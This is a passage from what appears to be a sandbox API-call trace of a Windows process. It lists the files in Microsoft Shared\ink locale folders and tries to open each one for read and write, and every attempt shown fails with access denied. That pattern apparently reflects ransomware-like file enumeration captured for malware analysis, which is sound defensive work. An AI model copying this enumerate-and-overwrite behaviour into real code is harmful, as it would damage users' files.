dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.513] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.513] GetProcessHeap () returned 0x990000 [0163.514] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.514] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0163.514] GetProcessHeap () returned 0x990000 [0163.514] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.514] GetProcessHeap () returned 0x990000 [0163.514] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.514] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.514] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.514] GetProcessHeap () returned 0x990000 [0163.514] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.515] GetLastError () returned 0x5 [0163.515] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.515] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.515] GetProcessHeap () returned 0x990000 [0163.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.515] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0163.515] GetProcessHeap () returned 0x990000 [0163.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.516] GetProcessHeap () returned 0x990000 [0163.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.516] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.516] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.516] GetProcessHeap () returned 0x990000 [0163.516] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.517] GetLastError () returned 0x5 [0163.517] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.517] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.518] GetProcessHeap () returned 0x990000 [0163.518] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.518] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0163.518] GetProcessHeap () returned 0x990000 [0163.518] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.518] GetProcessHeap () returned 0x990000 [0163.518] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.518] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.518] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.518] GetProcessHeap () returned 0x990000 [0163.518] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.519] GetLastError () returned 0x5 [0163.519] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.519] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.519] GetProcessHeap () returned 0x990000 [0163.519] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.519] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.519] GetProcessHeap () returned 0x990000 [0163.519] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.521] GetProcessHeap () returned 0x990000 [0163.521] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.521] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.521] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0163.521] GetProcessHeap () returned 0x990000 [0163.521] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.522] GetLastError () returned 0x5 [0163.522] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0163.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.523] GetLastError () returned 0x5 [0163.523] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0163.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.523] GetLastError () returned 0x5 [0163.523] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0163.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.523] GetLastError () returned 0x5 [0163.523] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0163.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.524] GetLastError () returned 0x5 [0163.524] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0163.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.525] GetLastError () returned 0x5 [0163.525] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0163.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.526] GetLastError () returned 0x5 [0163.526] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0163.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.526] GetLastError () returned 0x5 [0163.526] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0163.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.530] GetLastError () returned 0x5 [0163.530] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0163.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.531] GetLastError () returned 0x5 [0163.531] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0163.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.531] GetLastError () returned 0x5 [0163.531] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0163.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.531] GetLastError () returned 0x5 [0163.531] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0163.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 